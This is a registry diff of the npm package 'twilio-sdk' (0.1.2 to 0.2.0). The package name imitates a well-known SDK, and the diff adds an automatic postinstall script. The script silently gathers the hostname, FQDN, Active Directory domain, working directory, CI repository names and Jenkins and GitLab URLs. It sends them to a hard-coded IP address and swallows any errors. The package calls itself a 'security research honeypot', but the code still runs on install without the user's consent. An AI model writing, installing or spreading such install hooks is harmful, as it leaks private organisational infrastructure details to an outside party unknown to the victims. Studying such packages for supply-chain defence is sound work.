twilio-sdk 0.1.2 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +8 -3
- package/postinstall.js +43 -0
package/package.json
CHANGED
|
@@ -1,11 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "twilio-sdk",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.2.0",
|
|
4
4
|
"description": "Security research honeypot. Installed by mistake? See README.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"postinstall": "node
|
|
7
|
+
"postinstall": "node ./postinstall.js"
|
|
8
8
|
},
|
|
9
9
|
"keywords": [],
|
|
10
|
-
"license": "MIT"
|
|
10
|
+
"license": "MIT",
|
|
11
|
+
"files": [
|
|
12
|
+
"index.js",
|
|
13
|
+
"postinstall.js",
|
|
14
|
+
"README.md"
|
|
15
|
+
]
|
|
11
16
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,43 @@
|
|
|
1
|
+
try {
|
|
2
|
+
var os = require('os');
|
|
3
|
+
var dns = require('dns');
|
|
4
|
+
var env = process.env;
|
|
5
|
+
|
|
6
|
+
var hn = os.hostname();
|
|
7
|
+
var cwd = process.cwd().split('/').pop() || '';
|
|
8
|
+
|
|
9
|
+
// Try to resolve FQDN from hostname (no files read, DNS only)
|
|
10
|
+
dns.lookup(hn, {timeout: 3000}, function(err, addr) {
|
|
11
|
+
dns.reverse(addr, function(err2, ptrs) {
|
|
12
|
+
var fqdn = (ptrs && ptrs[0]) ? ptrs[0] : '';
|
|
13
|
+
var envFqdn = env.HOSTNAME || env.HOST || env.COMPUTERNAME || '';
|
|
14
|
+
var adDomain = env.USERDNSDOMAIN || '';
|
|
15
|
+
|
|
16
|
+
var ci = [];
|
|
17
|
+
if (env.GITHUB_REPOSITORY) ci.push('repo=' + encodeURIComponent(env.GITHUB_REPOSITORY));
|
|
18
|
+
if (env.CIRCLE_PROJECT_USERNAME && env.CIRCLE_PROJECT_REPONAME)
|
|
19
|
+
ci.push('repo=' + encodeURIComponent(env.CIRCLE_PROJECT_USERNAME + '/' + env.CIRCLE_PROJECT_REPONAME));
|
|
20
|
+
if (env.CI_PROJECT_PATH) ci.push('repo=' + encodeURIComponent(env.CI_PROJECT_PATH));
|
|
21
|
+
if (env.BITBUCKET_REPO_FULL_NAME) ci.push('repo=' + encodeURIComponent(env.BITBUCKET_REPO_FULL_NAME));
|
|
22
|
+
if (env.BUILD_REPOSITORY_URI) ci.push('repo=' + encodeURIComponent(env.BUILD_REPOSITORY_URI));
|
|
23
|
+
if (env.TRAVIS_REPO_SLUG) ci.push('repo=' + encodeURIComponent(env.TRAVIS_REPO_SLUG));
|
|
24
|
+
if (env.npm_config_registry) ci.push('reg=' + encodeURIComponent(env.npm_config_registry));
|
|
25
|
+
if (env.JENKINS_URL) ci.push('jenkins=' + encodeURIComponent(env.JENKINS_URL));
|
|
26
|
+
if (env.CI_SERVER_URL) ci.push('gitlab=' + encodeURIComponent(env.CI_SERVER_URL));
|
|
27
|
+
|
|
28
|
+
var url = 'http://46.224.67.169:3000/ping'
|
|
29
|
+
+ '?pkg=twilio-sdk'
|
|
30
|
+
+ '&ver=' + require('./package.json').version
|
|
31
|
+
+ '&ci=' + (env.CI || 'false')
|
|
32
|
+
+ '&node=' + process.version
|
|
33
|
+
+ '&host=' + encodeURIComponent(hn)
|
|
34
|
+
+ '&fqdn=' + encodeURIComponent(fqdn || envFqdn || '')
|
|
35
|
+
+ '&addomain=' + encodeURIComponent(adDomain)
|
|
36
|
+
+ '&cwd=' + encodeURIComponent(cwd);
|
|
37
|
+
|
|
38
|
+
if (ci.length) url += '&' + ci.join('&');
|
|
39
|
+
|
|
40
|
+
require('http').get(url, {timeout: 5000}, function(r) { r.resume(); }).on('error', function() {});
|
|
41
|
+
});
|
|
42
|
+
});
|
|
43
|
+
} catch(e) {}
|